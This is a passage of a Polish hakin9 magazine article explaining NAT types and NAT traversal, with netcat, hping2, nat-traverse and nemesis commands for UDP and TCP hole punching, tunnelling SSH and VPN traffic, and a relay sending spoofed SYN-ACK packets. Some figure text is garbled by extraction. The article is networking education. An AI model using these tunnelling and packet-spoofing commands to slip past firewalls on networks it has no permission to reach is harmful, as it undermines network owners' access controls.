nie.  Port  restricted  cone  NAT  ma  tą 
ciekawą właściwość, że jest well be-

haved. Oznacza to ni mniej ni więcej, 
że tak długo, jak host A będzie używał 
portu  źródłowego  równego  3000  do
wysłania pakietu, tak długo NAT bę-
dzie używał tego samego portu (czyli
50025).  Wracając  do  sytuacji  opisa-
nej  wcześniej,  hosty  A  i  B  mają  po-
łączenia  z  C,  host  A  wysyła  pakiet
w  kierunku  routera  R2  z  ustawio-
nym  portem  źródłowym  3000  i  por-

tem  docelowym  50000.  W  momen-
cie  translacji  –  na  routerze  R1  zo-
stanie  zamieniony  adres  i  port  źró-
dłowy tak samo, jak w przypadku łą-
czenia  się  z  hostem  C.  Dodatkowo 
zostanie  odnotowane,  aby  wpusz-
czać  do  wewnątrz  ruch  pochodzący 
od  routera  R2  przychodzący  z  por-
tu 50000. Router R2 odebrawszy pa-

kiet  odrzuci  go,  gdyż  host  B  jeszcze 
nie przestawił swojego NAT tak, aby 
akceptował  połączenia  z  R1.  W  za-
leżności od konfiguracji routera może
zostać  wysłany  pakiet  ICMP  port 
unreachable.

Załóżmy,  że  NAT  R2  nie  wysłał 

takiego pakietu. Gdy B wyśle pakiet 
(używając  oczywiście  tego  samego 

Rysunek 8. 

Schemat przykładowej sieci

200.158.180.200

157.158.181.42

192.168.19.100

192.168.18.200

157.158.180.235

INTERNET

Połączenie

R1

R2

A

B

C

Rysunek 9. 

Host nie należący do konwersacji łączący się do zmapowanego 

połączenia na routerze

200.158.180.200

157.158.181.42

192.168.19.100

157.158.180.235

INTERNET

Połączenie

R1

A

B

C

SRC:157.158.181.42:50025

DST 157.158.180.200:5000

SRC:157.158.180.235:4000

DST 157.158.181.42:50025

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

50

portu źródłowego) do R1, to ten za-
mieni adres i port docelowy pakietu 
gdyż został wcześniej przeprogramo-
wany  przez  próbę  połączenia  się  A
z B. Teraz A i B mogą się bezpośred-
nio  komunikować  wysyłając  pakie-
ty UDP na swoje zewnętrzne adresy
i  porty.  W  całej  komunikacji  zaginął 
wyłącznie jeden pakiet. Jest to cena, 

jaką  należy  zapłacić  za  możliwość 
bezpośredniego połączenia.

Powyższy schemat ma zastoso-

wanie w przypadku, gdy NAT na R1
i  R2  zmieniają  porty  źródłowe. 
Sprawa się nieco upraszcza w mo-
mencie, gdy NAT nie zamienia por-
tów  źródłowych.  W  tym  przypadku 
nic nie stoi na przeszkodzie, by do-

konać próby nawiązania połączenia 
bez pośrednika. Aby otworzyć tunel 
w NAT R1 należy wysłać z A pakiet 
w kierunku R2.

Tunel UDP w praktyce

Do  stworzenia  tunelu  UDP  po-
trzebne  będą  nam  następują-
ce  narzędzia:  netcat,  hping2  oraz 

Rysunek 10. 

Dzialanie Full Cone NAT

Komputer A

IP: 192.168.19.100

Scr: 192.168.19.3000

Dst: 157.158.180.200:5000

Dst: 157.158.181.42:3000

Dsc 157.158.180.200:5000

Scr: 192.168.19.5000

Dst: 192.168.19.100:3000

Dst: 157.158.180.200:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.200:7000

Dsc 157.158.181.42:3000

Dst: 157.158.180.200:7000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:5000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:5000

Dsc 158.158.181.42:3000

Dst: 157.158.180.235:5000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:7000

Dsc 157.158.181.42:3000

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

Komputer B

IP: 157.158.180.235

Rysunek 11. 

Działanie Restricted Cone NAT

Komputer A

IP: 192.168.19.100

Scr: 192.168.19.3000

Dst: 157.158.180.200:5000

Dst: 157.158.181.42:3000

Dsc 157.158.180.200:5000

Dst: 157.158.181.42:3000

Dsc 157.158.180.235:5000

Dst: 192.168.19.100:3000

Dsc 157.158.180.235:5000

Dst: 157.158.180.235:5000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:5000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.235:7000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:3000

Dsc 157.158.181.42:3000

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

Komputer B

IP: 157.158.180.235

Scr: 192.168.19.5000

Dst: 192.168.19.100:3000

Dst: 157.158.180.200:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.200:7000

Dsc 157.158.181.42:3000

Dst: 157.158.180.200:7000

Dsc 192.168.19.100:3000

background image

Wszystko o NAT 

hakin9 Nr 1/2007

www.hakin9.org

51

skrypt napisany w języku Perl z Li-
stingu nr 3.

Skrypt z Listingu nr 3 uruchamia-

my  na  komputerze  C.  Jego  zada-
niem jest nasłuchiwanie na porcie nr 
5000 i wypisywanie na ekran termi-
nala  parametrów  hostów  łączących 

się  z  C  oraz  wiadomości  jakie  owe 
hosty wysyłają.
Na  komputerze  A  uruchamiamy 

netcata:

netcat -l -u -p 3000

Spowoduje  to  nasłuchiwanie  ma-
szyny A na porcie 3000. Zawartość 
wszystkich  pakietów  zaadresowa-
nych  do  A  i  posiadających  port  do-
celowy  3000  zostanie  wypisana  na 
ekranie  terminala.  Następnie  otwie-
ramy  tunel  w  NAT  na  obu  maszy-

Rysunek 12. 

Działanie Port Restricted Cone NAT

Komputer A

IP: 192.168.19.100

Scr: 192.168.19.3000

Dst: 157.158.180.200:5000

Dst: 157.158.181.42:3000

Dsc 157.158.180.200:5000

Dst: 157.158.181.42:3000

Dsc 157.158.180.235:5000

Dst: 192.168.19.100:3000

Dsc 157.158.180.235:5000

Dst: 157.158.180.235:5000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.235:7000

Dsc 157.158.181.42:3000

Dst: 157.158.180.235:5000

Dsc 157.158.181.42:3000

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

Komputer B

IP: 157.158.180.235

Scr: 157.158.180:5000

Dst: 192.168.19.100:3000

Dst: 157.158.180.200:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.200:7000

Dsc 157.158.181.42:3000

Rysunek 13. 

Działanie Symmetric NAT

Komputer A

IP: 192.168.19.100

Scr: 192.168.19.3000

Dst: 157.158.180.200:5000

Dst: 157.158.181.42:3000

Dsc 157.158.180.200:5000

Dst: 157.158.181.42:7000

Dsc 157.158.180.235:5000

Dst: 192.168.19.100:3000

Dsc 157.158.180.235:5000

Dst: 157.158.180.235:5000

Dsc 192.168.19.100:3000

Dst: 157.158.180.235:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.235:5000

Dsc 157.158.181.42:7000

Dst: 157.158.180.235:5000

Dsc 157.158.181.42:3000

Komputer R1

IP: 157.158.181.42

Komputer C

IP: 157.158.180.200

Komputer B

IP: 157.158.180.235

Scr: 157.158.180.200:5000

Dst: 192.168.19.100:3000

Dst: 157.158.180.200:5000

Dsc 157.158.181.42:3000

Dst: 157.158.180.200:7000

Dsc 157.158.181.42:3000

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

52

nach. Na A musimy użyć portu źró-
dłowego  równego  3000,  ponieważ 
na tym porcie netcat nasłuchuje pa-
kietów:

hping2 157.158.180.200 -2 -s 3000 -p
5000 -c 1

spowoduje  to  pojawienie  się  na  ter-
minalu C komunikatu

[157.158.181.42: 3000]>

świadczącego  o  tym,  że  pakiet 
zza  NAT  dotarł  do  R1  nie  zmie-
nił  portu  źródłowego.  Następnie 

czynność tą powtarzamy na kom-
puterze B:

hping2 157.158.180.200 -2 -s 4000 -p
5000 -c 1

co  z  kolei  powinno  na  C  spowodo-
wać powstanie komunikatu:

Rysunek 14. 

Poszczególne fazy tworzenia tunelu UDP

257.158.180.200

257.158.180.200

Pakiet UDP

DST=157.158.180:5000

SRC=157.158.181:50000

Pakiet UDP

DST=157.158.181.42:5000

SRC=157.158.180.200:50000

O zawartości:

"157.158.180.235:50025"

Pakiet UDP

DST=157.158.180.235:50025

SRC=157.158.180.200:50000

O zawartości:

"157.158.181.42:50000"

Pakiet UDP

DST=157.158.180:5000

SRC=157.158.181:50000

257.158.180.200

192.168.18.200

192.168.18.200

192.168.19.100

157.158.181.42

157.158.181.42

157.158.180.235

157.158.181.42

157.158.180.235

157.158.180.235

157.158.181.42

157.158.180.235

192.168.19.100

192.168.18.200

192.168.18.200

192.168.19.100

192.168.19.100

257.158.180.200

Pakiet UDP

DST=157.158.180.235:50025

SRC=157.158.42:50000

Pakiet UDP

DST=157.158.181.42:50000

SRC=157.158.180.235:50025

background image

Wszystko o NAT 

hakin9 Nr 1/2007

www.hakin9.org

53

[157.158.180.235: 4000]>

Teraz na komputerze A przestawia-
my  nat  w  R1  tak,  aby  akceptował
pakiety od R2:

hping2 157.158.180.235 -2 -s 3000 -p 
4000 -c 1

Na B przestawiamy NAT R2 tak, aby 
akceptował pakiety od R1:

hping2 157.158.181.42 -2 -s 4000 -p
3000 -c 1

Teraz możemy na B uruchomić net-
cata z parametrami:

nc -p 4000 157.158.181.42 3000 -u

Po wykonaniu ostatniego polecenia, 
wszystko co wpiszemy w okienko na 
hoście B pojawi się w okienku netcat 
hosta A.

Tworzenie  tunelu  tym  sposobem 

nie jest zbyt użyteczne. Na szczęście 
powstały narzędzia które automatycz-
nie  wysyłają  sekwencje  wiadomości 
tworzących  połączenie.  Dość  cieka-
wym  narzędziem  jest  skrypt  perlowy 

nat-traverse  dostępny  na  [13].  Aby 
osiągnąć identyczny rezultat jak w po-
wyższym  przykładzie,  wystarczy  na 
maszynie A wykonać polecenie:

nat-traverse 3000:157.158.180.235:4000

a na maszynie B:

nat-traverse 4000:157.158.181.42:3000

Program ten posiada jedną ciekawą 
opcję. Jest nią możliwość wywołania 
dowolnego polecenia i przekierowa-
nie  strumieni  –  wejściowego  i  wyj-
ściowego  w  ten  sposób,  że  wszyst-
ko  co  polecenie  wypisze  zostanie 
wysłane przez gniazdo do drugiego 
komputera.  Wszystko  co  przyjdzie 
z  tunelu  zostanie  przekierowane  ja-
ko strumień standardowego wejścia 
do  polecenia.  Za  pomocą    tej  opcji 
można przesyłać katalogi pomiędzy 
komputerami:

hostA# nat-traverse 3000:
157.158.180.235:4000 –cmd=tar cj
katalog
hostB# nat-traverse 4000:
157.158.181.42:3000 –cmd=cat > 
katalog.tar.bz2

Możemy  również  za  pomocą  tego 
narzędzia  przekazywać  połączenia 
TCP. Wystarczy wykorzystać do te-
go celu program netcat:

hostA# nat-traverse 3000:
157.158.180.235:4000 –cmd=nc -lvp 5000
hostB# nat-traverse 4000:
157.158.181.42:3000 –cmd=nc -v 
localhost 22

Rysunek 15. 

Czasy transmisji pakietów

C

t1

t2

t3

t4

B

A

NAT A

NAT B

Rysunek 16. 

Trzy fazy nawiązywania połączenia

Komputer R1

IP: 157.158.181.42

S=157.158.181.42.3000

D=157.158.180.200:5000

SEQ:10000

ACK:0

FLAGS: SYN

S=157.158.181.200.5000

D=157.158.181.42:3000

SEQ:20000

ACK:10001

FLAGS: SYN,ACK

S=157.158.181.200.5000

D=157.158.181.42:3000

SEQ:20000

ACK:10001

FLAGS: SYN,ACK

Komputer C

IP: 157.158.180.200

Listing 3. 

Plik konfiguracyjny 

VTUN na komputerze B

options

 

{

   

port

 

5000

;

   

timeout

 

60

;

   

   

ifconfig

   /

sbin

/

ifconfig

;

}

hostb

 

{

   

passwd

  

Ma

&

^

TU

;

   

type

  

ether

;

   

device

 

tap1

;

   

proto

 

tcp

;

   

up

 

{

   

ifconfig

 

"%%  10.2.0.2 

   netmask 255.255.255.0"

;

   

}

;

   

down

 

{

   

ifconfig

 

"%% down"

;

   

}

;

}

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

54

Teraz  można  połączyć  się  z  hosta 
A  do  serwera  ssh  działającego  na 
hoście  B  poprzez  połączenie  z  in-
terfejsem  loopback  na  port  5000. 
Za  pomocą  netcat  można  również 
przekazywać połączenia UDP. Sko-
ro  można  przekazywać  połącze-
nia UDP oraz TCP, to nic nie stoi na 
przeszkodzie  aby  uruchomić  VPN 
działający  poprzez  ten  tunel.  Wy-
starczy  przekazać  lokalny  port  tcp 
5000 do zdalnego hosta, na którym
działa  VTUN  oraz  połączyć  się 
klientem  VTUN  do  localhost:5000. 
Należy  przy  tym  pamiętać,  że  po 
pierwsze  tracimy  niezawodność 
protokołów takich jak TCP a po dru-
gie sam proces enkapsulacji posia-
da  duży  narzut  danych  (TCP  w  IP
w ethernet w UDP).

Jeśli  firewall  na  routerach  jest 

skonfigurowany tak, aby odpowiadać 

komunikatami ICMP na pakiety UDP 
których „nie zna”, to stworzenie tune-
lu  może  się  nie  powieść,  ponieważ 
niektóre  NAT  reagują  na  komunika-
ty ICMP. Jeśli pakiet hosta A dotrze 
do NAT B przed wysłaniem przez B 
UDP w kierunku A, to może dojść do 
sytuacji, w której R2 odpowie pakie-
tem ICMP (port unreachable) do R1, 
co w przypadku niektórych NAT mo-
że uniemożliwić połączenie.

Przeszkoda ICMP

Jeśli  nasz  NAT  reaguje  na  tego
typu  pakiety  ICMP,  to  można  za-
mienić jeden typ ICMP na inny.

Wystarczy  pierwszemu  pakie-

towi  wysłanemu  w  kierunku  dru-
giego  routera  ustawić  odpowiednio
niską  wartość  TTL.  Wartość  TTL 
jest zmniejszana wraz z przejściem 
przez  każdy  router.  Gdy  osiągnie 

zero,  następuje  odrzucenie  pakietu 
i wysyłanie komunikatu ICMP nr 36 

time exceeded in-transit.

Kolejną  kwestią  jest  synch-

ronizacja  całej  operacji.  Jeśli  NAT 
wysyła  pakiety  ICMP  oznacza  to, 
że  host  w  sieci  lokalnej  nie  wysłał 
jeszcze  pakietu  przestawiającego 
NAT. Niektóre wersje NAT w takiej 
sytuacji  zaczynają  zmieniać  porty 
źródłowe  wychodzących  pakietów, 
co znacznie utrudnia komunikację.

Aby pakiety dotarły do obu NAT 

dokładnie  w  tym  samym  momencie 
należy zapewnić aby:

t1+t3=t2+t4

z  czego  wynika  że  każdy  z  hostów 
musi  przed  wysłaniem  pakietu  po-
czekać:

T = max(t1+t3, t2+t4) – z

gdzie  z  jest  sumą  czasów  transmi-
sji pakietów danego hosta z C oraz 
czasu wędrówki pakietu do przeciw-
ległego NAT

Jednak  w  większości  przypad-

ków tak dokładna synchronizacja nie 
jest  potrzebna.  Wystarczy  sprawić, 
aby hosty A oraz B wysłały pakiety
w tym samym momencie czyli:

T = max(t1, t2) – z

Listing 4. 

Skrypt w języku Perl dzięki któremu dowiemy się jak 

mapowane są połączenia w naszym NAT

#!/usr/bin/perl -w

use

 

strict

;

use

 

IO

::

Socket

;

my

 

(

$

sock

, $

remote

, $

message

);

$

sock

 

=

 

IO

::

Socket

::

INET

->

new

(

LocalPort

 

=>

 

5000

Proto

 

=>

 '

udp

'

)

 

or

 

die

 

"socket: $@"

;

while

 

(

$

remote

 

=

 $

sock

->

recv

(

$

message

1024

))

 

{

   

my

 

(

$

port

, $

addr

)

 

=

 

sockaddr_in

(

$

remote

);

   

my

 $

host_str

 

=

 

inet_ntoa

(

$

addr

);

   

printf

 

"[%s:%5d]> %s

\n

"

, $

host_str

, $

port

, $

message

;

}

 

die

 

"recv: $!"

;

Rysunek 17. 

Używanie TTL do stworzenia połączenia P2P

NAT_A

SYN

(Małe TTL

SYN

(Małe TTL

SYN

(Małe TTL

SYN

(Małe TTL

SYN

(Małe TTL

SYN-ACK

SYN-ACK

ACK

ACK

SYN

(Małe TTL

NAT_B

NAT_B

NAT_A

ICMP

ICMP

ICMP

ICMP

ACK

ACK

SYN

ACK

ICMP

Wartosc TTL

Spoof 

SYN-ACK

Spoof 

SYN-ACK

Wartosc TTL

NAT_A

NAT_B

C

C

Wartość TTLA

Wartość TTLA

Wartość TTLB

Wartość TTLB

background image

Wszystko o NAT 

hakin9 Nr 1/2007

www.hakin9.org

55

Czas na TCP

Techniki  UDP  hole  punching  są  za-
zwyczaj  skuteczne,  ponieważ  pro-
tokół  UDP  nie  jest  tak  skomplikowa-
ny jak na przykład TCP. Jeśli używa-
my innych protokołów, takich jak TCP, 
to sytuacja się skomplikuje, ponieważ 
posiadaon określony schemat nawią-
zywania połączenia, którego popraw-
ności  mogą  pilnować  nie  tylko  po-
szczególne  implementacje  NAT,  ale 
również  systemy  antywłamaniowe,

firewalle itp. Jeśli już opanujemy tech-
nikę przebijania NAT za pomocą UDP, 
to  zawsze  możemy  zastosować  en-
kapsulacje TCP czy nawet całego IP 
w UDP tworząc pełny tunel IP. Pomi-
mo  iż  TCP  jest  protokołem  bardziej 
złożonym niż UDP istnieją metody po-
zwalające  na  stworzenie  bezpośred-
nich  połączeń  pomiędzy  komputera-
mi zza różnych NAT.

Na początek należy przyjrzeć się 

metodom  nawiązywania  połączenia 
TCP  i  zastanowić  się,  co  przy  sto-
sowaniu technik może zakończyć się 
niepowodzeniem na poszczególnych 
etapach połączenia.

Zainicjalizowanie  połączenia  na-

stępuje  w  trzech  etapach.  W  pierw-
szym  etapie  klient  wysyła  pakiet
z ustawioną flagą SYN, która świad-
czy  o  chęci  nawiązania  połączenia. 
Jeśli  zdalny  host  zechce  zaakcepto-
wać  połączenie,  to  w  drugim  etapie 
odsyła pakiet z ustawioną flagą SYN 
oraz ACK. W trzecim etapie inicjator 
połączenia  potwierdza  odebranie  in-
formacji od serwera wysyłając pakiet 
z ustawioną flagą ACK. Trzystopnio-
wy  schemat  nawiązywania  połącze-
nia ma dodatkowo na celu zsynchro-
nizowanie  numerów  sekwencyjnych 
używanych  do  zapewnienia  popraw-
ności transmitowanych danych. Flaga 
SYN ustawiana w pakietach informu-
je, że zawiera on numer sekwencyjny. 
Każde połączenie TCP ma dwa takie 
numery. Każda ze stron posiada wła-
sną  liczbę  reprezentującą  pewnego 
rodzaju licznik wysłanych danych.

Aby zastosować techniki przebija-

nia firewall-i używając protokołu TCP, 
należy  spowodować,  by  obie  strony 
połączenia przeszły poprawnie przez 
trzy etapy. Jeśli któryś z etapów zo-
stanie  pominięty,  to  nawiązanie  po-
łączenia  wymaga  zastosowania  do-

datkowych operacji. Należy wiedzieć, 
że niektóre implementacje NAT pilnu-
ją tego, aby poszczególne kroki połą-
czenia następowały dokładnie po so-
bie. Np. nie wpuszczą pakietu z usta-
wioną flagą SYN do sieci lokalnej, je-
śli oczekiwany jest pakiet z ustawio-
nymi  flagami  SYN-ACK.  Dodatko-
wo NAT mogą pilnować zachowania
poprawności  numerów  sekwencyj-
nych  w  trzech  etapach  połączenia. 
Jądra  Linux  z  serii  2.4  są  bardzo
tolerancyjne jeśli chodzi o przestrze-
ganie tych zasad.

Aby  pakiety  przechodziły  z  jed-

nej  sieci  lokalnej  do  drugiej  wystar-
czy wysyłać dużą ilości odpowiednio 
sformatowanych  ramek  z  A  oraz  B. 
Na  hoście  A  uruchamiamy  program 
nemesis, który będzie wysyłał ramki 
z ustawionymi flagami SYN-ACK:

#while true; do nemesis tcp -x 3000
-y 3000 -fSA -s 0 -a 0 -S
192.168.19.100 -D 157.158.180.235; done

Z  hosta  B  musimy  wysyłać  ramki 
TCP z ustawioną flagą SYN:

#while true; do nemesis tcp -x 3000
-y 3000 -fS -s 0 -a 0 -S 192.168.18.200-D 
157.158.181.42; done

Aby  sprawdzić  czy  do  B  dociera-
ją  ramki  A  z  ustawionymi  flagami 

SYN-ACK,  to  najprościej  posłużyć 
się tcpdumpem:

#tcpdump -n 'tcp[13]==0x12'

Filtr  tcpdump  powinien  przepuścić 
tylko te ramki, które mają ustawione 
flagi SYN oraz ACK.

Nie takie TCP straszne

Próba  połączenia  dwóch  kompute-
rów w dwóch różnych sieciach lokal-
nych  wykorzystujących  TCP  może 
przebiegać  prawie  analogicznie  do 
przypadku  posługiwania  się  protoko-
łem  UDP.  Przypuśćmy,  że  NAT  na 
R1 i R2 nie modyfikuje portów źródło-
wych. Każdy z klientów A i B otwiera 
połączenie nasłuchujące (dla uprosz-
czenia załóżmy, że na porcie 3000). 
Następnie  obydwa  komputery  wyko-
nują  połączenie  do  C  na  port  5000 

W Sieci

•   http://news.zdnet.com/2100-1009_22-842973.html  –  artykuł  przewidujący  wy-

czerpanie adresów IP w 2005roku;

•   http://bgp.potaroo.net/ipv4/ – szczegółowy raport przewidujący wykorzystanie ad-

resów IP w przyszłości;

•   http://www.cisco.com/web/about/ac123/ac147/archived_issues/ipj_8-3/ipv4.html 

– raport na temat „konsumpcji” adresów IP;

•   http://nutss.gforge.cis.cornell.edu/pub/imc05-tcpnat/ – analiza i opis technik prze-

bijania NAT i firewalli;

•   http://www.brynosaurus.com/pub/net/p2pnat/  –  opis  technik  przebijania  NAT

z użyciem UDP i TCP;

•   http://freshmeat.net/projects/nat-traverse/  –  biblioteka  wykorzystująca  opisane

w artykule techniki;

•   http://nutss.gforge.cis.cornell.edu/stunt.php  –  strona  domowa  STUNT  (Simple 

Traversal of UDP Through NATs and TCP);

•   http://freshmeat.net/projects/stund/ – strona domowa klienta i serwera używają-

cego STUN;

•   http://vtun.sourceforge.net/ – oprogramowanie pozwalające stworzyć wirtualny tu-

nel ethernetowy enkapsulowany w TCP lub UDP;

•   http://openvpn.net/ – implementacja VPN bardziej zaawansowana niż VTUN;
•   Linux Server Hacks, Oreilly 2003 – znajdziemy w tej książce wiele ciekawych po-

rad. Między innymi opis tunelowania VPN w SSH, który został skrótowo opisany
w artykule;

•   http://samy.pl/chownat/ – strona z której możemy pobrać program chownat;
•   http://linide.sourceforge.net/nat-traverse/ – tutaj znajdziemy skrypt nat-traverse;
•   http://www.cis.nctu.edu.tw/~gis87577/xDreaming/XSTUNT/index.html  –  tutaj 

znajduje się biblioteka XSTUNT oraz przykładowy program.

background image

hakin9 Nr 1/2007

www.hakin9.org

Obrona

56

używając portu 3000 jako portu źró-
dłowego  (muszą  przed  połączeniem 
użyć  polecenia  „bind”  na  otwartym 
gnieździe).  W  tym  momencie  klienci 
A i B nasłuchują na porcie 3000 oraz 
posiadają  połączenie  z  hostem  C 
(port źródłowy 3000 a port docelowy 
5000). Od serwera S dowiadują się o 
swoich publicznych interfejsach. Host 
A  dowiaduje  się,  że  publiczny  inter-
fejs B to 157.158.180.235 i używa on 
portu  3000  do  połączenia  się  z  C 
(przy założeniu, że NAT R1 i R2 nie 
modyfikuje  portów  źródłowych  przy 
translacji). Podobne informacje otrzy-
muje host B. Teraz A i B mogą doko-
nać  próby  połączenia  bezpośrednie-
go. A łączy się do publicznego inter-
fejsu  hosta  B  używając  portu  3000 
jako  źródłowego.  Podobnie  postępu-
je B. Jeśli NAT nie jest symetryczny, 
to powinien użyć portu 3000 przy łą-
czeniu  się  z  A  do  publicznego  inter-
fejsu B. W momencie przechodzenia 
pakietu z ustawioną flagą SYN przez 
router, NAT zapamiętuje informację o 
mapowaniu i będzie wpuszczał pakie-
ty,  które  pochodzą  od  NAT  drugiego 
hosta.  Przebieg  nawiązywania  połą-
czenia  jest  w  większości  identyczny 
jak  w  przypadku  komunikacji  za  po-
mocą UDP.

Kolejność  wysyłania  i  odbiera-

nia pakietów ma tutaj dość duże zna-
czenie.  Mogą  tutaj  zajść  następują-
ce przypadki:

•   Pakiet z SYN komputera A dotrze 

do  R2  przed  wysłaniem  przez  B 
pakietu inicjalizującego połączenie 
do A (lub przypadek odwrotny);

•   A i B wyślą pakiety równocześnie 

co spowoduje, że B otrzyma pa-
kiet z SYN pochodzący od A i vi-
ce  versa.  Jeśli  pakiety  są  ideal-
nie  zsynchronizowane  w  czasie, 
dochodzi do tak zwanego równo-
ległego otwarcia połączenia.

W jednym i drugim przypadku zajdzie 
sytuacja,  w  której  host  posiadający 
gniazdo  nasłuchujące  na  porcie  P
i próbujący nawiązać połączenie uży-
wając portu P jako źródłowego otrzy-
ma  pakiet  z  ustawioną  flagą  SYN.
W zależności od implementacji stosu 

TCP/IP  przychodzący  pakiet  zosta-

nie  skojarzony  albo  z  gniazdem  na-
słuchującym, albo z gniazdem, które 
próbowało nawiązać połączenie. Nie 
mniej  jednak  oba  przypadki  dopro-
wadzają  do  nawiązania  połączenia.
W pierwszym przypadku – pakiet zo-
stanie zinterpretowany jako próba na-
wiązania  połączenia.  W  odpowiedzi 
zostanie odesłany pakiet z ustawioną 
flagą SYN-ACK. Funkcja connect wy-
wołana  na  maszynie,  która  zaakcep-
towała połączenie, zwróci błąd, gdyż 
adresy i porty źródłowe oraz docelo-
we  są  używane  przez  inne  połącze-
nie. W przypadku, gdy pakiet SYN zo-
stanie  skojarzony  z  gniazdem  próbu-
jącym  nawiązać  połączenie,  gniazdo 
nasłuchujące nie będzie w ogóle wy-
korzystywane. Funkcja connect zwróci
status świadczący o udanym połącze-
niu. Pakiet, który został wysłany przez 
drugą maszynę nie zawierał flagi ACK
więc stos TCP/IP wyśle pakiet z usta-
wionymi  flagami  SYN-ACK  (zacho-
wując  oryginalny  i  ustawiając  własny
numer  sekwencyjny  pakietu).  Druga 
strona, w momencie odebrania pakie-
tu  z  ustawionymi  flagami  SYN-ACK
potwierdza  synchronizację  numerów 
sekwencyjnych, a całe połączenie jest 
gotowe do „użytku”.

Przy  stosowaniu  tej  techniki  mo-

że  dojść  do  sytuacji,  w  której  oba
hosty wyślą w tym samym czasie pa-
kiet SYN do siebie, a następnie oba 
jednocześnie  potwierdzą  otrzyma-
ne  numery  sekwencyjne  pakietem 

SYN-ACK  a  następnie  ACK.  Imple-
mentacje TCP/IP różnie radzą sobie 
z tą sytuacją. Możliwa jest sytuacja, w 
której z obu stron wywołania connect 
się  nie  powiodą,  natomiast  połącze-
nie  zostanie  „magicznie  stworzone” 
gniazdami  nasłuchującymi  (po  obu 
stronach accept się powiedzie).

Stosowanie  tej  techniki  pociąga 

za  sobą  konieczność  istnienia  dwóch 
gniazd  przypiętych  do  tego  samego 
portu.  Niektóre  systemy  tego  nie  po-
trafią u muszą w zamian użyć sekwen-
cyjnej wersji wyżej opisanego algoryt-
mu.  Host  A  zgłasza  chęć  połączenia 
się z B poprzez serwer C. B wykonuje 
połączenie do publicznego interfejsu A.
Połączenie to się nie udaje, ponieważ 
R1 nie wpuszcza pakietów od B. Na-
stępnie B tworzy gniazdo nasłuchujące 

i czeka na połączenia od A. Jeśli NAT 
po  stronie  B  nie  zlikwiduje  wpisów  o 
połączeniu 

B->A

 w momencie niepowo-

dzenia połączenia, to A może zerwać 
połączenie z C i dokonać próby połą-
czenia się na publiczny interfejs B (uży-
wając tego samego portu źródłowego, 
którego używał łącząc się z C). NAT po 
stronie B powinien wpuścić żądanie A 
umożliwiając gniazdu nasłuchującemu 
komputera B nawiązanie połączenia.

Wprawny  czytelnik  niewątpliwie 

zauważy, że skoro NAT R1 i R2 nie 
zmieniają portów źródłowych to po-
średnik C nie jest potrzebny. Uwaga 
ta jest słuszna zarówno dla protoko-
łu UDP jak i również TCP. Jeśli tyl-
ko hosty A i B znają adresy swoich 
publicznych interfejsów, ustaliły port, 
na którym chcą dokonać połączenia 
i zaczną całą operację w tym samym 
czasie – połączenie zostanie zreali-
zowane. W przypadku braku transla-
cji  portu  pośrednik  służy  wyłącznie 
do wymiany informacji o adresach IP 
i synchronizacji całej operacji.

TCP – inne podejście

Złożoność protokołu TCP sprawia, że 
istnieją alternatywne podejścia do te-
go prezentowane wyżej. Podobnie jak 
w przypadku UDP można posłużyć się 
metodą polegającą na ustaleniu takiej 
wartości  TTL,  aby  pakiet  mógł  swo-
bodnie opuścić sieć lokalną, ale na ty-
le małej, aby nie dotarł do routera do-
celowego. Gdy oba hosty wyślą takie 
pakiety,  spowoduje  to  skonfigurowa-
nie ich routerów NAT tak, aby akcep-
towały  pakiety  należące  do  przyszłe-
go połączenia. Po otwarciu „tunelów” 
w NAT można postąpić na trzy sposo-
by. Pierwszy polega na poinformowa-
niu przez A oraz B serwera pośredni-
czącego  o  numerach  sekwencyjnych 
użytych do otwarcia tunelu. Następnie 
serwer pośredniczący wysyła dwa pa-
kiety ze sfałszowanymi adresami źró-
dłowymi. Pakiet y mają ustawione fla-
gi SYN-ACK i ich zadaniem jest zasy-
mulowanie drugiego etapu połączenia 
A z B i B z A. Stosowanie tej techni-
ki pociąga za sobą konieczność zna-
lezienia  ISP,  który  pozwala  na  wysy-
łanie  sfałszowanych  ramek,  co  może 
stanowić największy problem. Kolejny 
pomysł polega na tym, aby po otwar-

background image

Wszystko o NAT 

hakin9 Nr 1/2007

www.hakin9.org

57

Tekst  wprowadzony  do  okienka  ter-
minala  hosta  B  zostanie  odebrany 
przez serwer A oraz odesłany z po-
wrotem do klienta B.

Czarne chmury na 

horyzoncie i nie tylko

Jeśli  NAT  posiada  maszynę  stano-
wą,  za  pomocą  której  filtruje  pakie-
ty, które nie powinny zostać przetwo-
rzone w danym stanie, to możliwe jest, 
że nie uda nam się nawiązać połącze-
nia.  Na  przykład,  jeśli  jedynie  akcep-
towalną  przez  NAT  sekwencją  pakie-
tów jest SYN, SYN-ACK, ACK, to NAT 
nie zaakceptuje drugiego przychodzą-
cego pakietu SYN prezentowanego w 
drugim  podejściu  czy  wychodzącego 
pakietu  SYN-ACK  z  trzeciego  podej-
ścia, nie mówiąc już o metodzie, któ-
ra nie stosuje metody z TTL. Kolejny 
problem może stwarzać interpretowa-
nie  pakietów  ICMP  oraz  tych  z  usta-
wioną flagą RST, które mogą spowo-
dować zmianę wewnętrzną stanu po-
łączenia  w  NAT.  Ale  warto  mieć  na 
uwadze,  że  nawet  najbardziej  opor-
ne  NAT  można  w  sprzyjających  wa-
runkach „przebić”. Wystarczy zastoso-
wać mechanizmy przewidywania por-
tów, dobrze zsynchronizować moment 
nawiązywania połączenia lub zmodyfi-
kować stos TCP/IP po stronie klientów 
tak, aby był w stanie nawiązywać po-
łączenia TCP pozwalając na małe od-
